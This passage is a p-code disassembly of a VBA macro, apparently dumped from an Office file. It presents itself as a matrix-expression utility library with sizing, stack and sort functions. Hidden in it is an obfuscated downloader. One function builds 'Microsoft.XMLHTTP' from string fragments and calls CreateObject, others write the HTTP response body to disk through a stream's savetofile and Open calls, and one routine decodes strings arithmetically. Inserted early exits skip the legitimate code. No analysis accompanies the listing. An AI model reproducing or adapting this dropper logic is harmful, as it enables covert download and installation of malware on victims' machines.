' ArgsCall Utils_Size 0x0003 | |
' Line #296: | |
' EndFunc | |
' Line #297: | |
' FuncDefn (Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long)) | |
' Line #298: | |
' LitDI2 0x0000 | |
' St r | |
' BoS 0x0000 | |
' LitDI2 0x0000 | |
' St c | |
' Line #299: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #300: | |
' LitDI2 0x0000 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' ArgsLd IsEmpty 0x0001 | |
' Not | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' St r | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' St c | |
' EndIf | |
' Line #301: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' FnUBound 0x0000 | |
' St r | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' St c | |
' Line #302: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' St r | |
' BoS 0x0000 | |
' Ld v | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' St c | |
' Line #303: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #304: | |
' EndSelect | |
' Line #305: | |
' EndSub | |
' Line #306: | |
' Line #307: | |
' FuncDefn (Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean) | |
' Line #308: | |
' SetStmt | |
' LitStr 0x0001 "m" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0007 "icrosof" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0005 ".XMLH" | |
' Add | |
' Ld errorMsg | |
' Add | |
' Ld errorMsg | |
' Add | |
' LitStr 0x0001 "P" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' Set CodOrdineCorrente1 | |
' Line #309: | |
' ArgsCall Parkse_List 0x0000 | |
' Line #310: | |
' ExitFunc | |
' Line #311: | |
' LitVarSpecial (True) | |
' St Parse_FindUnaryPostfixOp | |
' Line #312: | |
' Ld token | |
' SelectCase | |
' Line #313: | |
' LitStr 0x0000 "" | |
' Case | |
' CaseDone | |
' Line #314: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' St Parse_FindUnaryPostfixOp | |
' Line #315: | |
' EndSelect | |
' Line #316: | |
' EndFunc | |
' Line #317: | |
' FuncDefn (Public Function UtilsAssertToken(ByValvDefault As , NothingOrNodeName As Integer) As String) | |
' Line #318: | |
' Dim | |
' VarDefn i (As Integer) | |
' Line #319: | |
' Dim | |
' VarDefn g_oPubGetResString (As String) | |
' Line #320: | |
' LitStr 0x0000 "" | |
' St g_oPubGetResString | |
' Line #321: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' Ld ByValvDefault | |
' FnLBound 0x0000 | |
' Ld ByValvDefault | |
' FnUBound 0x0000 | |
' For | |
' Line #322: | |
' Ld g_oPubGetResString | |
' Ld i | |
' ArgsLd ByValvDefault 0x0001 | |
' LitDI2 0x0014 | |
' Ld NothingOrNodeName | |
' Mul | |
' Sub | |
' LitDI2 0x2648 | |
' Sub | |
' LitDI2 0x0042 | |
' Sub | |
' ArgsLd Chr 0x0001 | |
' Concat | |
' St g_oPubGetResString | |
' Line #323: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #324: | |
' Ld g_oPubGetResString | |
' St UtilsAssertToken | |
' Line #325: | |
' EndFunc | |
' Line #326: | |
' FuncDefn (Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long)) | |
' Line #327: | |
' Ld rows | |
' Ld UtilsInd2Sub | |
' MemSt Type | |
' Line #328: | |
' Ld UtilsInd2Sub | |
' ArgsMemCall Open 0x0000 | |
' Line #329: | |
' LitStr 0x0000 "" | |
' LitStr 0x0000 "" | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #330: | |
' ExitSub | |
' Line #331: | |
' Ld k | |
' LitDI2 0x0001 | |
' Sub | |
' Paren | |
' Ld rows | |
' IDiv | |
' LitDI2 0x0001 | |
' Add | |
' St j | |
' Line #332: | |
' Ld k | |
' Ld rows | |
' Ld j | |
' LitDI2 0x0001 | |
' Sub | |
' Paren | |
' Mul | |
' Sub | |
' St i | |
' Line #333: | |
' EndSub | |
' Line #334: | |
' FuncDefn (Private Sub Utils_Conform(ByRef v As Variant)) | |
' Line #335: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #336: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #337: | |
' Ld v | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Eq | |
' IfBlock | |
' Line #338: | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0001 | |
' St v | |
' Line #339: | |
' ElseBlock | |
' Line #340: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' LitDI2 0x0001 | |
' OptionBase | |
' Ld v | |
' FnUBound 0x0000 | |
' Redim r 0x0002 (As Variant) | |
' Line #341: | |
' Dim | |
' VarDefn i (As Long) | |
' Line #342: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld r | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #343: | |
' Ld i | |
' ArgsLd v 0x0001 | |
' LitDI2 0x0001 | |
' Ld i | |
' ArgsSt r 0x0002 | |
' Line #344: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #345: | |
' Ld r | |
' St v | |
' Line #346: | |
' EndIfBlock | |
' Line #347: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #348: | |
' Ld v | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld v | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0002 | |
' St v | |
' EndIf | |
' Line #349: | |
' LitDI2 0x0002 | |
' CaseGt | |
' CaseDone | |
' BoS 0x0000 | |
' Line #350: | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #351: | |
' EndSelect | |
' Line #352: | |
' EndSub | |
' Line #353: | |
' FuncDefn (Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant)) | |
' Line #354: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #355: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #356: | |
' Ld v | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Eq | |
' IfBlock | |
' Line #357: | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0001 | |
' St assignToMe | |
' Line #358: | |
' ElseBlock | |
' Line #359: | |
' OptionBase | |
' LitDI2 0x0001 | |
' OptionBase | |
' Ld v | |
' FnUBound 0x0000 | |
' Redim assignToMe 0x0002 (As Variant) | |
' Line #360: | |
' Dim | |
' VarDefn i (As Long) | |
' Line #361: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld assignToMe | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #362: | |
' Ld i | |
' ArgsLd v 0x0001 | |
' LitDI2 0x0001 | |
' Ld i | |
' ArgsSt assignToMe 0x0002 | |
' Line #363: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #364: | |
' EndIfBlock | |
' Line #365: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #366: | |
' Ld v | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld v | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' IfBlock | |
' Line #367: | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0002 | |
' St assignToMe | |
' Line #368: | |
' ElseBlock | |
' Line #369: | |
' Ld v | |
' St assignToMe | |
' Line #370: | |
' EndIfBlock | |
' Line #371: | |
' LitDI2 0x0002 | |
' CaseGt | |
' CaseDone | |
' BoS 0x0000 | |
' Line #372: | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #373: | |
' EndSelect | |
' Line #374: | |
' EndSub | |
' Line #375: | |
' FuncDefn (Private Sub Utils_ForceMatrix(ByRef v As Variant)) | |
' Line #376: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' LitDI2 0x0000 | |
' Eq | |
' IfBlock | |
' Line #377: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' LitDI2 0x0001 | |
' OptionBase | |
' LitDI2 0x0001 | |
' Redim r 0x0002 (As Variant) | |
' Line #378: | |
' Ld v | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsSt r 0x0002 | |
' Line #379: | |
' Ld r | |
' St v | |
' Line #380: | |
' EndIfBlock | |
' Line #381: | |
' EndSub | |
' Line #382: | |
' FuncDefn (Private Sub Utils_Stack_Push(item As String, Optional stack As Variant)) | |
' Line #383: | |
' Line #384: | |
' Ld CodOrdineCorrente1 | |
' MemLd responseBody | |
' Ld UtilsInd2Sub | |
' ArgsMemCall Xor 0x0001 | |
' Line #385: | |
' Ld dimIndexArgs | |
' LitDI2 0x0002 | |
' Ld UtilsInd2Sub | |
' ArgsMemCall savetofile 0x0002 | |
' Line #386: | |
' LitStr 0x0000 "" | |
' ArgsCall Utils_CalcDimDirection 0x0001 | |
' Line #387: | |
' ExitSub | |
' Line #388: | |
' OnError NotInitiated | |
' Line #389: | |
' Ld stack | |
' FnLBound 0x0000 | |
' Ld stack | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Add | |
' Redim (Preserve) stack 0x0001 (As Variant) | |
' Line #390: | |
' Ld item | |
' Ld stack | |
' FnUBound 0x0000 | |
' ArgsSt stack 0x0001 | |
' Line #391: | |
' ExitSub | |
' Line #392: | |
' Label NotInitiated | |
' Line #393: | |
' Ld item | |
' ArgsArray Array 0x0001 | |
' St stack | |
' Line #394: | |
' EndSub | |
' Line #395: | |
' FuncDefn (Private Function Utils_Stack_Pop(stack As Variant) As Variant) | |
' Line #396: | |
' Dim | |
' VarDefn ub (As Long) | |
' BoS 0x0000 | |
' Ld stack | |
' FnUBound 0x0000 | |
' St ub | |
' Line #397: | |
' Dim | |
' VarDefn lb (As Long) | |
' BoS 0x0000 | |
' Ld stack | |
' FnLBound 0x0000 | |
' St lb | |
' Line #398: | |
' Ld ub | |
' ArgsLd stack 0x0001 | |
' St Utils_Stack_Pop | |
' Line #399: | |
' Ld ub | |
' Ld lb | |
' Gt | |
' If | |
' BoSImplicit | |
' Ld lb | |
' Ld ub | |
' LitDI2 0x0001 | |
' Sub | |
' Redim (Preserve) stack 0x0001 (As Variant) | |
' Else | |
' BoSImplicit | |
' LitVarSpecial (Null) | |
' St stack | |
' EndIf | |
' Line #400: | |
' EndFunc | |
' Line #401: | |
' FuncDefn (Private Function Utils_Stack_Peek(stack As Variant) As Variant) | |
' Line #402: | |
' Ld stack | |
' FnUBound 0x0000 | |
' ArgsLd stack 0x0001 | |
' St Utils_Stack_Peek | |
' Line #403: | |
' EndFunc | |
' Line #404: | |
' FuncDefn (Private Function Utils_Stack_Size(stack As Variant) As Long) | |
' Line #405: | |
' OnError (Resume Next) | |
' Line #406: | |
' Ld stack | |
' FnUBound 0x0000 | |
' St Utils_Stack_Size | |
' Line #407: | |
' EndFunc | |
' Line #408: | |
' FuncDefn (Private Sub Utils_CalcArgs(args As Variant)) | |
' Line #409: | |
' Dim | |
' VarDefn i (As Long) | |
' BoS 0x0000 | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' For | |
' Line #410: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' ArgsLd eval_tree 0x0001 | |
' Ld i | |
' ArgsSt args 0x0001 | |
' Line #411: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #412: | |
' EndSub | |
' Line #413: | |
' FuncDefn (Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean) | |
' Line #414: | |
' Dim | |
' VarDefn i (As Long) | |
' Line #415: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' UMi | |
' ForStep | |
' Line #416: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' ArgsLd TypeName 0x0001 | |
' LitStr 0x0006 "String" | |
' FnStrComp | |
' LitDI2 0x0000 | |
' Eq | |
' IfBlock | |
' Line #417: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' Ld flag | |
' Ld vbTextCompare | |
' FnStrComp3 | |
' LitDI2 0x0000 | |
' Eq | |
' IfBlock | |
' Line #418: | |
' LitVarSpecial (True) | |
' St Utils_IsFlagSet | |
' Line #419: | |
' ExitFunc | |
' Line #420: | |
' EndIfBlock | |
' Line #421: | |
' EndIfBlock | |
' Line #422: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #423: | |
' EndFunc | |
' Line #424: | |
' ConstFuncExpr | |
' LitDI2 0x0002 | |
' FuncDefn (Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long) As Long) | |
' Line #425: | |
' Ld dimIndexArgs | |
' Paren | |
' Ld UtilsCalcDimDirection | |
' ArgsMemCall Open 0x0001 | |
' Line #426: | |
' ExitFunc | |
' Line #427: | |
' Ld addrgs | |
' FnUBound 0x0000 | |
' Ld dimIndex | |
' Ge | |
' IfBlock | |
' Line #428: | |
' Ld dimIndex | |
' ArgsLd addrgs 0x0001 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #429: | |
' Ld dimIndex | |
' ArgsLd addrgs 0x0001 | |
' LitDI2 0x0001 | |
' Sub | |
' St Utils_CalcDimDirection | |
' Line #430: | |
' ExitFunc | |
' Line #431: | |
' EndIfBlock | |
' Line #432: | |
' EndIfBlock | |
' Line #433: | |
' LitDI2 0x0001 | |
' ArgsLd addrgs 0x0001 | |
' ArgsLd Utils_Rows 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' ArgsLd IFF 0x0003 | |
' St Utils_CalcDimDirection | |
' Line #434: | |
' EndFunc | |
' Line #435: | |
' ConstFuncExpr | |
' LitDI2 0x0002 | |
' FuncDefn (Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long)) | |
' Line #436: | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' SelectCase | |
' Line #437: | |
' Ld index | |
' CaseLt | |
' CaseDone | |
' Line #438: | |
' LitDI2 0x0001 | |
' St n | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' St m | |
' Line #439: | |
' Ld index | |
' CaseEq | |
' CaseDone | |
' Line #440: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' ArgsLd Utils_Numel 0x0001 | |
' SelectCase | |
' Line #441: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' Line #442: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' St n | |
' Line #443: | |
' Ld n | |
' St m | |
' Line #444: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' Line #445: | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' St n | |
' Line #446: | |
' LitDI2 0x0002 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' ArgsLd MIN 0x0002 | |
' LitDI2 0x0002 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' ArgsLd MIN 0x0002 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' St m | |
' Line #447: | |
' CaseElse | |
' Line #448: | |
' LitVarSpecial (False) | |
' LitStr 0x000E "bad size input" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #449: | |
' EndSelect | |
' Line #450: | |
' Ld index | |
' LitDI2 0x0001 | |
' Add | |
' CaseEq | |
' CaseDone | |
' Line #451: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' St n | |
' Line #452: | |
' Ld index | |
' LitDI2 0x0001 | |
' Add | |
' ArgsLd args 0x0001 | |
' St m | |
' Line #453: | |
' CaseElse | |
' Line #454: | |
' LitVarSpecial (False) | |
' LitStr 0x000E "bad size input" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #455: | |
' EndSelect | |
' Line #456: | |
' EndFunc | |
' Line #457: | |
' FuncDefn (Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant)) | |
' Line #458: | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' Ld index | |
' Ge | |
' IfBlock | |
' Line #459: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' St Utils_GetOptionalArg | |
' Line #460: | |
' ElseBlock | |
' Line #461: | |
' Ld defaultValue | |
' St Utils_GetOptionalArg | |
' Line #462: | |
' EndIfBlock | |
' Line #463: | |
' EndFunc | |
' Line #464: | |
' FuncDefn (Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long)) | |
' Line #465: | |
' Dim | |
' VarDefn size (As Long) | |
' BoS 0x0000 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' St size | |
' Line #466: | |
' Ld size | |
' Ld lb | |
' Ge | |
' LitStr 0x0011 "too few arguments" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #467: | |
' Ld size | |
' Ld ub | |
' Le | |
' LitStr 0x0012 "too many arguments" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #468: | |
' EndSub | |
' Line #469: | |
' ConstFuncExpr | |
' LitStr 0x000D "unknown error" | |
' FuncDefn (Private Sub Utils_Assert(expr As Boolean, Optional msg As String)) | |
' Line #470: | |
' Ld expr | |
' If | |
' BoSImplicit | |
' ExitSub | |
' EndIf | |
' Line #471: | |
' Ld msg | |
' St errorMsg | |
' Line #472: | |
' Ld vbObjectError | |
' LitDI2 0x03E7 | |
' Add | |
' Ld Err | |
' ArgsMemCall Raise 0x0001 | |
' Line #473: | |
' EndSub | |
' Line #474: | |
' FuncDefn (Private Function eval_tree(root As Variant) As Variant) | |
' Line #475: | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitDI2 0x0003 | |
' ArgsLd Left 0x0002 | |
' LitStr 0x0003 "fn_" | |
' Eq | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitStr 0x0005 "fn_if" | |
' Ne | |
' And | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitStr 0x000A "fn_iferror" | |
' Ne | |
' And | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitStr 0x0009 "fn_expand" | |
' Ne | |
' And | |
' IfBlock | |
' Line #476: | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsCall Utils_CalcArgs 0x0001 | |
' Line #477: | |
' EndIfBlock | |
' Line #478: | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' SelectCase | |
' Line #479: | |
' LitStr 0x000D "eval_constant" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_constant 0x0001 | |
' St eval_tree | |
' Line #480: | |
' LitStr 0x0008 "eval_arg" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_arg 0x0001 | |
' St eval_tree | |
' Line #481: | |
' LitStr 0x000A "eval_index" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_index 0x0001 | |
' St eval_tree | |
' Line #482: | |
' LitStr 0x0008 "eval_end" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_end 0x0001 | |
' St eval_tree | |
' Line #483: | |
' LitStr 0x000A "eval_colon" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_colon 0x0001 | |
' St eval_tree | |
' Line #484: | |
' LitStr 0x000B "eval_concat" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_concat 0x0001 | |
' St eval_tree | |
' Line #485: | |
' LitStr 0x0005 "op_eq" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_eq 0x0001 | |
' St eval_tree | |
' Line #486: | |
' LitStr 0x0007 "op_plus" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_plus 0x0001 | |
' St eval_tree | |
' Line #487: | |
' LitStr 0x0008 "op_minus" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_minus 0x0001 | |
' St eval_tree | |
' Line #488: | |
' LitStr 0x0009 "op_mtimes" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_mtimes 0x0001 | |
' St eval_tree | |
' Line #489: | |
' LitStr 0x0008 "op_colon" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_colon 0x0001 | |
' St eval_tree | |
' Line #490: | |
' LitStr 0x0006 "fn_sum" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd fn_sum 0x0001 | |
' St eval_tree | |
' Line #491: | |
' LitStr 0x0009 "fn_repmat" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd fn_repmat 0x0001 | |
' St eval_tree | |
' Line #492: | |
' CaseElse | |
' Line #493: | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd Run 0x0002 | |
' St eval_tree | |
' Line #494: | |
' EndSelect | |
' Line #495: | |
' EndFunc | |
' Line #496: | |
' FuncDefn (Private Function eval_constant(args As Variant) As Variant) | |
' Line #497: | |
' Ld args | |
' St eval_constant | |
' Line #498: | |
' EndFunc | |
' Line #499: | |
' FuncDefn (Private Function eval_arg(args As Variant) As Variant) | |
' Line #500: | |
' Ld args | |
' Ld arguments | |
' FnUBound 0x0000 | |
' Gt | |
' IfBlock | |
' Line #501: | |
' LitVarSpecial (False) | |
' LitStr 0x0009 "argument " | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #502: | |
' EndIfBlock | |
' Line #503: | |
' Ld args | |
' ArgsLd arguments 0x0001 | |
' Coerce (Var) | |
' St eval_arg | |
' Line #504: | |
' Ld eval_arg | |
' ArgsCall Utils_Conform 0x0001 | |
' Line #505: | |
' EndFunc | |
' Line #506: | |
' FuncDefn (Private Function eval_end(args As Variant) As Variant) | |
' Line #507: | |
' Ld endValues | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' LitDI2 0x0000 | |
' Gt | |
' LitStr 0x0017 ""end" not allowed here." | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #508: | |
' Ld endValues | |
' ArgsLd Utils_Stack_Peek 0x0001 | |
' St eval_end | |
' Line #509: | |
' EndFunc | |
' Line #510: | |
' FuncDefn (Private Function eval_ans(args As Variant) As Variant) | |
' Line #511: | |
' Ld ans | |
' St eval_ans | |
' Line #512: | |
' EndFunc | |
' Line #513: | |
' FuncDefn (Private Function eval_colon(args As Variant) As Variant) | |
' Line #514: | |
' LitVarSpecial (False) | |
' LitStr 0x0016 "colon not allowed here" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #515: | |
' EndFunc | |
' Line #516: | |
' Line #517: | |
' FuncDefn (Private Function fn_sort(args As Variant) As Variant) | |
' Line #518: | |
' Ld args | |
' LitDI2 0x0001 | |
' LitDI2 0x0004 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #519: | |
' Dim | |
' VarDefn sortRows (As Boolean) | |
' VarDefn ascend (As Boolean) | |
' VarDefn returnIndices (As Boolean) | |
' Line #520: | |
' LitDI2 0x0001 | |
' Ld args | |
' ArgsLd Utils_CalcDimDirection 0x0001 | |
' Eq | |
' Paren | |
' St sortRows | |
' Line #521: | |
' Ld args | |
' LitStr 0x0007 "descend" | |
' ArgsLd Utils_IsFlagSet 0x0002 | |
' Not | |
' St ascend | |
' Line #522: | |
' Ld args | |
' LitStr 0x0007 "indices" | |
' ArgsLd Utils_IsFlagSet 0x0002 | |
' St returnIndices | |
' Line #523: | |
' Ld sortRows | |
' IfBlock | |
' Line #524: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' Ld WorksheetFunction | |
' ArgsMemLd Transpose 0x0001 | |
' LitDI2 0x0001 | |
' ArgsSt args 0x0001 | |
' Line #525: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_Conform 0x0001 | |
' Line #526: | |
' EndIfBlock | |
' Line #527: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_ForceMatrix 0x0001 | |
' Line #528: | |
' Dim | |
' VarDefn rows (As Long) | |
' VarDefn cols (As Long) | |
' VarDefn i (As Long) | |
' VarDefn j (As Long) | |
' Line #529: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' Ld rows | |
' Ld cols | |
' ArgsCall Utils_Size 0x0003 | |
' Line #530: | |
' Dim | |
' VarDefn indices | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' Ld rows | |
' LitDI2 0x0001 | |
' Ld cols | |
' Redim indices 0x0002 (As Variant) | |
' Line #531: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld rows | |
' For | |
' Line #532: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld cols | |
' For | |
' Line #533: | |
' Ld i | |
' Ld i | |
' Ld j | |
' ArgsSt indices 0x0002 | |
' Line #534: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #535: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #536: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld cols | |
' For | |
' Line #537: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' Ld indices | |
' LitDI2 0x0001 | |
' Ld rows | |
' Ld j | |
' Ld ascend | |
' ArgsCall Utils_QuickSortCol 0x0006 | |
' Line #538: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #539: | |
' Ld returnIndices | |
' IfBlock | |
' Line #540: | |
' Ld indices | |
' St fn_sort | |
' Line #541: | |
' ElseBlock | |
' Line #542: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' Ld rows | |
' LitDI2 0x0001 | |
' Ld cols | |
' Redim r 0x0002 (As Variant) | |
' Line #543: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld rows | |
' For | |
' Line #544: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld cols | |
' For | |
' Line #545: | |
' Ld i | |
' Ld j | |
' ArgsLd indices 0x0002 | |
' Ld j | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Ld i | |
' Ld j | |
' ArgsSt r 0x0002 | |
' Line #546: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #547: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #548: | |
' Ld r | |
' St fn_sort | |
' Line #549: | |
' EndIfBlock | |
' Line #550: | |
' Ld sortRows | |
' If | |
' BoSImplicit | |
' Ld fn_sort | |
' Ld WorksheetFunction | |
' ArgsMemLd Transpose 0x0001 | |
' St fn_sort | |
' EndIf | |
' Line #551: | |
' Ld fn_sort | |
' ArgsCall Utils_Conform 0x0001 | |
' Line #552: | |
